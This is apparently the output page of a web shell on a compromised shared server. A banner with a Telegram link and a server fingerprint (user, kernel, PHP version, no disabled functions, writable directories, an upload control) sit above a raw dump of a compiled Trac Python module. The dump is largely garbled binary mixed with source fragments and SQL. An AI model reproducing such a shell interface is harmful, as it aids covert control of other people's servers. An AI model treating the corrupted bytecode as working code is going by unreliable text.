https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/versioncontrol/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/versioncontrol/__pycache__/cache.cpython-310.pyc
o

�k�`�V�@s�ddlZddlmZddlmZddlmZmZddlm	Z	ddl
mZmZm
Z
mZejejd�Zejejejejejd�Zd	d
�Zee�Zee�ZdZdZeefZd
d�ZGdd�de
�ZGdd�de�Z dS)�N)�cached)�	TracError)�from_utimestamp�
to_utimestamp)�_)�	Changeset�Node�
Repository�NoSuchChangeset)�D�F)�A�Cr�E�McCstt|��t|���S�N)�dict�zip�values�list)�d�r�;/usr/lib/python3/dist-packages/trac/versioncontrol/cache.py�_invert_dictsr�repository_dir�youngest_revcCs
|jpdS)Nz	(default)��reponame)�reposrrr�_norm_reponame+�
rc@s0eZdZdZedd��Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zed�dd��ZdFdd�Zdd�Zdd�Zd d!�ZdGd"d#�ZdHd$d%�Zd&d'�ZdGd(d)�Zd*d+�Zd,d-�ZdId/d0�ZdId1d2�ZdId3d4�Zd5d6�Zd7d8�ZdHd9d:�Z d;d<�Z!d=d>�Z"d?d@�Z#dAdB�Z$	CdJdDdE�Z%dS)K�CachedRepositoryFcC�|jjSr)r�scope��selfrrr�<lambda>3szCachedRepository.<lambda>cCs2||_||_t|jj�|_t�||j|j|�dSr)	�envr�str�id�_metadata_idr	�__init__�name�params)r%r'r�logrrrr+5szCachedRepository.__init__cCs|j��dSr)r�closer$rrrr/;�zCachedRepository.closecCs
|j��Sr)r�get_baser$rrrr1>r zCachedRepository.get_basecCs|j�|�|��Sr)r�get_quickjump_entries�
normalize_rev�r%�revrrrr2A�z&CachedRepository.get_quickjump_entriescCs|j�||�Sr)r�get_path_url�r%�pathr5rrrr7Dr0zCachedRepository.get_path_urlcCst||�|�|j�Sr)�CachedChangesetr3r'r4rrr�
get_changesetG�zCachedRepository.get_changesetcC�|j�|�Sr)r�get_changeset_uidr4rrrr>J�z"CachedRepository.get_changeset_uidc	csN�|j�d|jt|�t|�f�D]\}z|�|�VWqty$YqwdS)Nz�
                SELECT rev FROM revision
                WHERE repos=%s AND time >= %s AND time < %s
                ORDER BY time DESC, rev DESC
                )r'�db_queryr)rr;r
)r%�start�stopr5rrr�get_changesetsMs�
���zCachedRepository.get_changesetsc	Cs�|j�|�}|�|j�}d}|jj�A}z
t||j|j�}Wnty(d}Ynw|r<|dt|j	�|j
|j|j|f�n|�
|j|�Wd�|SWd�|S1sVwY|S)NzyUPDATE revision SET time=%s, author=%s, message=%s
                      WHERE repos=%s AND rev=%s
                      )rr;�db_revr5r'�db_transactionr:r
r�date�author�messager)�insert_changeset)r%r5�cset�srev�old_cset�dbrrr�sync_changesetXs.
�
��
��
��zCachedRepository.sync_changesetr*c	Cs.t|j�dd�dgtt��|jft��S)z2Retrieve data for the cached `metadata` attribute.zr
                SELECT name, value FROM repository
                WHERE id=%%s AND name IN (%s)
                �,�%s)rr'r@�join�len�CACHE_METADATA_KEYSr)r$rrr�metadataks

�
�zCachedRepository.metadataNcCs�|r|��|j}|�|�|j��|jj}|�t�}|r2|j�|�}|s1|j	�
d|jt|��n
|j	�
d|jt|��d}d}||k�r_|j	�d||t|��|rZ|j�
|�}n,z!|jj}|jjdkrt|j�d|�st|jj
|dd�}|j�|�}Wn
ty�YdSw|dur�dS|�|�}|jj�#}|d|j|f�D]\}	|jj|d�Wd�dSWd�n1s�wY|du�ra|�|�}|jj�s}|j	�d	|t|��|j�|�}
z|�||
�WnEt�y,}z8t||jjj��r|j	�d
|t|�|�n|j	�d|t|�|�|jj|d�|��WYd}~Wd�dSd}~ww|dt |�|jtf�|`Wd�n	1�sEwY|}|j�
|�}|�rY||�|dus�dSdSdS)
Nz3normalize_rev failed (youngest_rev=%r, reponame=%s)z7cache metadata undefined (youngest_rev=%r, reponame=%s)z)repos rev [%s] != cached rev [%s] in '%s'�/T)�find_initial_revz2SELECT rev FROM revision WHERE repos=%s AND rev=%s)rz$Trying to sync revision [%s] in '%s'z&Revision %s in '%s' already cached: %rz:Unable to create cache records for revision %s in '%s': %rzh
                        UPDATE repository SET value=%s WHERE id=%s AND name=%s
                        )!�remove_cacherT�
save_metadatar�clearr�get�CACHE_YOUNGEST_REVr3r.�debugr�info�next_rev�
oldest_revr#�has_noderrDr'r@r)rEr;rI�	Exception�
isinstance�db_exc�IntegrityError�warning�error�rollbackr()r%�feedback�cleanrT�repos_youngest�youngest�
next_youngestrKrMr5rJ�errr�syncts�



��
�

����


���


���
����"��#zCachedRepository.synccs��j�dt����jj�3}|d�jf�|d�jf�|�d�fdd�tD��|�d�fdd�tD���`Wd	�d	S1sCwYd	S)
zRemove the repository cache.zCleaning cache in '%s'z#DELETE FROM revision WHERE repos=%sz&DELETE FROM node_change WHERE repos=%sz.DELETE FROM repository WHERE id=%s AND name=%scsg|]}�j|f�qSr�r)��.0�kr$rr�
<listcomp>��z1CachedRepository.remove_cache.<locals>.<listcomp>zt
                  INSERT INTO repository (id, name, value)
                  VALUES (%s, %s, %s)
                  csg|]}�j|df�qS��rorpr$rrrs��N)	r.r]rr'rEr)�executemanyrSrT)r%rMrr$rrW�s 
����"�zCachedRepository.remove_cachecCs|jj�{}d}|�t�}|r/tj�|�tj�|j�kr.|j�	d||j�t
tdt|�d���n-|durH|j�	d|j�|d|j
t|jf�d}n|j�	d	|j�|d
|j|j
tf�d}t|vrk|d|j
tdf�d}|rw|`Wd�dSWd�dS1s�wYdS)zSave the repository metadata.Fz*'repository_dir' has changed from %r to %rz�The repository directory has changed, you should resynchronize the repository with: trac-admin $ENV repository resync '%(reponame)s'rNz$Storing initial "repository_dir": %sziINSERT INTO repository (id, name, value)
                      VALUES (%s, %s, %s)
                      TzResetting "repository_dir": %sz6UPDATE repository SET value=%s WHERE id=%s AND name=%srv)r'rErZ�CACHE_REPOSITORY_DIR�osr9�normcaser,r.r]rrrr)r[rT)r%rTrM�
invalidaterrrrrX�sJ


����	���
��&"�zCachedRepository.save_metadatac
Cs�|�|�}|jj�K}|d|j|t|j�|j|jf�|��D]-\}}}}}	|j	�
d|t|j�|||||	f�t
|}t|}|d|j||||||	f�qWd�dS1sWwYdS)zQCreate revision and node_change records for the given changeset
        instance.z~
                INSERT INTO revision (repos,rev,time,author,message)
                VALUES (%s,%s,%s,%s,%s)
                z'Caching node change in [%s] in '%s': %rz�
                    INSERT INTO node_change
                        (repos,rev,path,node_type,change_type,base_path,
                         base_rev)
                    VALUES (%s,%s,%s,%s,%s,%s,%s)
                    N)rDr'rEr)rrFrGrH�get_changesr.r\rr�_inverted_kindmap�_inverted_actionmap)
r%r5rJrKrMr9�kind�action�bpath�brevrrrrIs&

��
���"�z!CachedRepository.insert_changesetcC�|j�||�|��Sr)r�get_noder3r8rrrr�6r<zCachedRepository.get_nodecCs�|�|�}|�|�}|�||�}|jj�E}|dur4|d|j||f�}|dddur2t|dd�nd}|�|�}dd�|d|��|j||||�|d�f�D�Wd�S1s\wYdS)z\Return the revisions affecting `path` between `first` and `last`
        revisions.
        Nz�
                    SELECT MAX(rev) FROM node_change
                    WHERE repos=%s AND rev<=%s AND path=%s
                      AND change_type IN ('A', 'C', 'M')
                    rcSsg|]\}t|��qSr)�int)rqr5rrrrsIrtz3CachedRepository._get_node_revs.<locals>.<listcomp>z�
                    SELECT DISTINCT rev FROM node_change
                    WHERE repos=%%s AND rev>=%%s AND rev<=%%s
                      AND (path=%%s OR path %s)rU)	r3rDr�r'r@r)r��prefix_match�prefix_match_value)r%r9�last�first�slast�noderM�sfirstrrr�_get_node_revs9s$



�$

�
��$�zCachedRepository._get_node_revsc	s|siS�fdd�|D�}��tdd�|D���}��tdd�|D���}dd�|D�}dd�|D�}d	}d
}�jj������}|t|�kr�||||�}	||7}t|	�}
d�d|
�}d
|d�d|df|
�|d�d|f|
�f}g}
|
�dd�|	D��|	D]\}}|
�	��
|jd��|
�	|j�q�|
��j||f�|
�dd�|	D��|
��fdd�|	D���||
�D]#\}}��
|�}||\}}||kr�|jkr�nq�||�	|�q�|t|�ksFWd�|SWd�|S1s�wY|S)Ncsg|]\}}|��|�f�qSr)r3�rqr�r�r$rrrsTsz6CachedRepository._get_changed_revs.<locals>.<listcomp>css�|]\}}|VqdSrrr�rrr�	<genexpr>Vs�z5CachedRepository._get_changed_revs.<locals>.<genexpr>cs��|]\}}|jVqdSr)r5r�rrrr�W��cSsi|]
\}}|j||f�qSr�r9r�rrr�
<dictcomp>Xsz6CachedRepository._get_changed_revs.<locals>.<dictcomp>cSsi|]\}}|jg�qSrr�r�rrrr�Yrwr��rO�rPa                    SELECT DISTINCT
                      rev, (CASE WHEN path IN (%s) THEN path %s END) AS path
                    FROM node_change
                    WHERE repos=%%s AND rev>=%%s AND rev<=%%s
                      AND (path IN (%s) %s)
                    � z
WHEN path z THEN %szOR path csr�rr�r�rrrr�ur�rUcsr�rr�r�rrrr�zr�c3s$�|]
\}}��|jd�VqdS)rUN)r�r9r�)rMrrr�{s��)rD�min�maxr'r@r�rRrQ�extend�appendr�r9r)�rev_dbr5)r%�
node_infosr�r��
path_infos�	path_revs�idx�deltar��subset�count�holders�query�argsr�r�rKr9r5r)rMr%r�_get_changed_revsPsj
�
����
�
��
�%�
�%�%z"CachedRepository._get_changed_revscCr�r)rr`r3r8rrrr`�r<zCachedRepository.has_nodecCr"r)rr_r$rrr�get_oldest_rev�szCachedRepository.get_oldest_revcCs|�|j�t��Sr)r�rTrZr[r$rrr�get_youngest_rev�r6z!CachedRepository.get_youngest_revrvcCs|j�|�|�|�Sr)r�previous_revr3�r%r5r9rrrr��s
zCachedRepository.previous_revcCs(|jr
|�d||�S|j�|�|�|�S)N�>)�has_linear_changesets�_next_prev_revrr^r3r�rrrr^�szCachedRepository.next_revc	CsD|�|�}|jj��}d}|dkrdnd}|j|g}|rn|�d�}|||dd�;}|d|��7}|�||�|d�f�|�d��d�}	d	�	d
t
|	��}
|d|
d7}td
t
|	�d
�D]}|�d�	|	d|���q^n|||dd�;}|||�D]\}|dur�t
|�Wd�Sq{Wd�dS1s�wYdS)NzCSELECT %(aggr)s(rev) FROM %(tab)s WHERE repos=%%s AND rev%(dir)s%%s�<�MAX�MINrU�node_change)�aggr�dir�tabz AND (path=%s OR path rOr�z OR (path IN (z) AND change_type='D'))��revision)rDr'r@r)�lstripr�r�r��splitrQrR�ranger�r�)r%�	directionr5r9rKrM�sqlr�r��
components�parents�irrrr��s0



�
��"�zCachedRepository._next_prev_revcCs|jr	t�||�S|j�|�Sr)r�r	�parent_revsrr4rrrr��szCachedRepository.parent_revscCs|j�|�|�|�|��Sr)r�rev_older_thanr3)r%�rev1�rev2rrrr��s�zCachedRepository.rev_older_thancCs|j�||�|�|�Sr)r�get_path_historyr3)r%r9r5�limitrrrr��s�z!CachedRepository.get_path_historycCr=r)r�normalize_path)r%r9rrrr��r?zCachedRepository.normalize_pathc	Csv|dust|t�r|��dvr|�|jpd�Szt|�}t|j�}Wnttfy0Yt|��w||kr7|St|��)N)rv�head�latestrkr)	rbr(�lowerr�rr��
ValueError�	TypeErrorr
)r%r5rrrrr3�s�zCachedRepository.normalize_revcCst|�S)z9Convert a revision to its representation in the database.)r(r4rrrrD�szCachedRepository.db_revcCs|S)z;Convert a revision from its representation in the database.rr4rrrr��szCachedRepository.rev_dbr�cCs |j�||�|�||�|�|�Sr)rr}r3)r%�old_path�old_rev�new_path�new_rev�ignore_ancestryrrrr}�s
�zCachedRepository.get_changes)NFr)NNru)r�)&�__name__�
__module__�__qualname__r��propertyr#r+r/r1r2r7r;r>rCrNrrTrnrWrXrIr�r�r�r`r�r�r�r^r�r�r�r�r�r3rDr�r}rrrrr!/sH

k+


6



�r!c@s$eZdZdd�Zdd�Zdd�ZdS)r:c		Csv||_|�|�}|j�d|j|f�D]\}}}t|�}t�|||�|�|||�dS|j�	d|j|t
|��t|��)Nzv
                SELECT time, author, message FROM revision
                WHERE repos=%s AND rev=%s
                z(Missing revision record (%r, %r) in '%s')r'rDr@r)rrr+r�r.r\rr
)	r%rr5r'�drev�_daterGrHrFrrrr+�s
���zCachedChangeset.__init__ccsb�t|j�d|jj|j�|j�f��D]\}}}}}t|}t|}|||||j�	|�fVqdS)Nz�
                SELECT path, node_type, change_type, base_path, base_rev
                FROM node_change WHERE repos=%s AND rev=%s
                ORDER BY path
                )
�sortedr'r@rr)rDr5�_kindmap�
_actionmapr�)r%r9r��change�	base_path�base_revrrrr}�s����zCachedChangeset.get_changescCs|jj�|j���Sr)rr;r5�get_propertiesr$rrrr�	r<zCachedChangeset.get_propertiesN)r�r�r�r+r}r�rrrrr:�sr:)!rz�
trac.cacher�	trac.corer�trac.util.datefmtrr�trac.util.translationr�trac.versioncontrolrrr	r
�	DIRECTORY�FILEr��ADD�COPY�DELETE�EDIT�MOVEr�rr~rryr[rSrr!r:rrrr�<module>s.�@

https://t.me/RX1948 - 2025